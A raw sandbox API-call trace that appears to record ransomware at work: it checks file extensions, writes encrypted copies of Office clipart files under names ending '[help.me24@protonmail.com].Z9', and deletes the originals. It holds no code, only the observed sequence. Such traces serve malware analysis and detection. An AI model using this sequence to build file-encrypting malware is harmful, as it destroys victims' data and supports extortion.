	[0089.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.552] lstrlenW (lpString=".zip") returned 4
	[0089.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.552] lstrlenW (lpString=".rar") returned 4
	[0089.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.552] lstrlenW (lpString=".bz2") returned 4
	[0089.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.552] lstrlenW (lpString=".7z") returned 3
	[0089.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.552] lstrlenW (lpString=".dbf") returned 4
	[0089.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.552] lstrlenW (lpString=".1cd") returned 4
	[0089.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.552] lstrlenW (lpString=".jpg") returned 4
	[0089.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.552] lstrlenW (lpString=".doc") returned 4
	[0089.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.552] lstrlenW (lpString=".docx") returned 5
	[0089.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.552] lstrlenW (lpString=".pdf") returned 4
	[0089.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.553] lstrlenW (lpString=".xls") returned 4
	[0089.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.553] lstrlenW (lpString=".xlsx") returned 5
	[0089.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.553] lstrlenW (lpString=".ppt") returned 4
	[0089.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.553] lstrlenW (lpString=".zip") returned 4
	[0089.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.553] lstrlenW (lpString=".rar") returned 4
	[0089.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.553] lstrlenW (lpString=".bz2") returned 4
	[0089.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.553] lstrlenW (lpString=".7z") returned 3
	[0089.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.553] lstrlenW (lpString=".dbf") returned 4
	[0089.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.553] lstrlenW (lpString=".1cd") returned 4
	[0089.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.553] lstrlenW (lpString=".jpg") returned 4
	[0089.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.554] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.554] lstrlenW (lpString="DD01015_.WMF") returned 12
	[0089.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.554] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2226) returned 1
	[0089.554] CloseHandle (hObject=0x378) returned 1
	[0089.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220
	[0089.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.554] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.555] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0089.555] GetLastError () returned 0x0
	[0089.555] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x8b2, lpOverlapped=0x0) returned 1
	[0089.558] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0089.559] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.559] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.560] SetEndOfFile (hFile=0x338) returned 1
	[0089.560] CloseHandle (hObject=0x338) returned 1
	[0089.560] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.560] SetEndOfFile (hFile=0x378) returned 1
	[0089.561] CloseHandle (hObject=0x378) returned 1
	[0089.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1
	[0089.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.561] lstrlenW (lpString=".doc") returned 4
	[0089.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.561] lstrlenW (lpString=".docx") returned 5
	[0089.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.561] lstrlenW (lpString=".pdf") returned 4
	[0089.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.561] lstrlenW (lpString=".xls") returned 4
	[0089.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.561] lstrlenW (lpString=".xlsx") returned 5
	[0089.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.562] lstrlenW (lpString=".ppt") returned 4
	[0089.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.562] lstrlenW (lpString=".zip") returned 4
	[0089.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.562] lstrlenW (lpString=".rar") returned 4
	[0089.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.562] lstrlenW (lpString=".bz2") returned 4
	[0089.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.562] lstrlenW (lpString=".7z") returned 3
	[0089.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.562] lstrlenW (lpString=".dbf") returned 4
	[0089.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.562] lstrlenW (lpString=".1cd") returned 4
	[0089.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.562] lstrlenW (lpString=".jpg") returned 4
	[0089.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.562] lstrlenW (lpString=".doc") returned 4
	[0089.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.562] lstrlenW (lpString=".docx") returned 5
	[0089.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.562] lstrlenW (lpString=".pdf") returned 4
	[0089.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.562] lstrlenW (lpString=".xls") returned 4
	[0089.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.562] lstrlenW (lpString=".xlsx") returned 5
	[0089.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.562] lstrlenW (lpString=".ppt") returned 4
	[0089.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.563] lstrlenW (lpString=".zip") returned 4
	[0089.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.563] lstrlenW (lpString=".rar") returned 4
	[0089.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.563] lstrlenW (lpString=".bz2") returned 4
	[0089.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.563] lstrlenW (lpString=".7z") returned 3
	[0089.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.563] lstrlenW (lpString=".dbf") returned 4
	[0089.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.563] lstrlenW (lpString=".1cd") returned 4
	[0089.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0089.563] lstrlenW (lpString=".jpg") returned 4
	[0089.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.563] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.563] lstrlenW (lpString="DD01039_.WMF") returned 12
	[0089.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.563] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=14820) returned 1
	[0089.563] CloseHandle (hObject=0x378) returned 1
	[0089.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220
	[0089.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.564] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.564] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0089.564] GetLastError () returned 0x0
	[0089.564] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x39e4, lpOverlapped=0x0) returned 1
	[0089.584] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x39f0, lpOverlapped=0x0) returned 1
	[0089.585] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.585] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.586] SetEndOfFile (hFile=0x338) returned 1
	[0089.586] CloseHandle (hObject=0x338) returned 1
	[0089.586] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.586] SetEndOfFile (hFile=0x378) returned 1
	[0089.587] CloseHandle (hObject=0x378) returned 1
	[0089.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1
	[0089.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.587] lstrlenW (lpString=".doc") returned 4
	[0089.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.587] lstrlenW (lpString=".docx") returned 5
	[0089.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.587] lstrlenW (lpString=".pdf") returned 4
	[0089.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.587] lstrlenW (lpString=".xls") returned 4
	[0089.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.587] lstrlenW (lpString=".xlsx") returned 5
	[0089.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.587] lstrlenW (lpString=".ppt") returned 4
	[0089.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.588] lstrlenW (lpString=".zip") returned 4
	[0089.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.588] lstrlenW (lpString=".rar") returned 4
	[0089.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.588] lstrlenW (lpString=".bz2") returned 4
	[0089.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.588] lstrlenW (lpString=".7z") returned 3
	[0089.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.588] lstrlenW (lpString=".dbf") returned 4
	[0089.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.588] lstrlenW (lpString=".1cd") returned 4
	[0089.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.588] lstrlenW (lpString=".jpg") returned 4
	[0089.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.588] lstrlenW (lpString=".doc") returned 4
	[0089.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.588] lstrlenW (lpString=".docx") returned 5
	[0089.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.588] lstrlenW (lpString=".pdf") returned 4
	[0089.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.588] lstrlenW (lpString=".xls") returned 4
	[0089.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.588] lstrlenW (lpString=".xlsx") returned 5
	[0089.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.588] lstrlenW (lpString=".ppt") returned 4
	[0089.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.588] lstrlenW (lpString=".zip") returned 4
	[0089.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.589] lstrlenW (lpString=".rar") returned 4
	[0089.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.589] lstrlenW (lpString=".bz2") returned 4
	[0089.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.589] lstrlenW (lpString=".7z") returned 3
	[0089.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.589] lstrlenW (lpString=".dbf") returned 4
	[0089.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.589] lstrlenW (lpString=".1cd") returned 4
	[0089.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0089.589] lstrlenW (lpString=".jpg") returned 4
	[0089.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.589] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.589] lstrlenW (lpString="DD01138_.WMF") returned 12
	[0089.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.589] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3692) returned 1
	[0089.589] CloseHandle (hObject=0x378) returned 1
	[0089.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220
	[0089.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.590] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.590] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0089.590] GetLastError () returned 0x0
	[0089.590] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xe6c, lpOverlapped=0x0) returned 1
	[0090.142] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe70, lpOverlapped=0x0) returned 1
	[0090.143] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.143] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.143] SetEndOfFile (hFile=0x338) returned 1
	[0091.180] CloseHandle (hObject=0x338) returned 1
	[0091.180] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.180] SetEndOfFile (hFile=0x378) returned 1
	[0091.181] CloseHandle (hObject=0x378) returned 1
	[0091.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1
	[0091.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.435] lstrlenW (lpString=".doc") returned 4
	[0091.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.435] lstrlenW (lpString=".docx") returned 5
	[0091.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.435] lstrlenW (lpString=".pdf") returned 4
	[0091.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.435] lstrlenW (lpString=".xls") returned 4
	[0091.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.435] lstrlenW (lpString=".xlsx") returned 5
	[0091.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
